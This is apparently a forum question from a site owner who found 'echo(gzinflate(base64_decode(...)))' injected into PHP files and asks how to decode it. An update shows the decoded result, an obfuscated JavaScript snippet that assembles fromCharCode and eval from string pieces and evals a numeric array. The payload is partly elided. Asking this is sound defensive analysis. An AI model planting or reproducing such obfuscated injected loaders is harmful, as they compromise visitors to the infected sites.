I found several occurences of echo(gzinflate(base64_decode(".....")
in various .php files and I am curious what it exactly does. I think I managed to decode the text in quotes using base64 -d < fileetje.b64 > fileetje.gz
where fileetje.b64 contains the string data. But when I subsequently try to gunzip the fileetje.gz, it reports bad data. Also when doing a file fileetje.gz
it says data
, where I would expect GZIP'ed data are something similar.
How can I decrypt the data from the Linux command line?
An online decoder like http://www.base64online.com/ can't make sense of the code either. Is it safe to add the string data to the question too?
UPDATE: I improvized a php script as it is only a simple echo (Thnx: glglgl). This is what came out:
<script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48...............
And it ends in:
...........9~50~19.5~28.5~5.5~3.5~3.5~61.5".split("a~".substr(1));for(i=0;i!=563;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</script>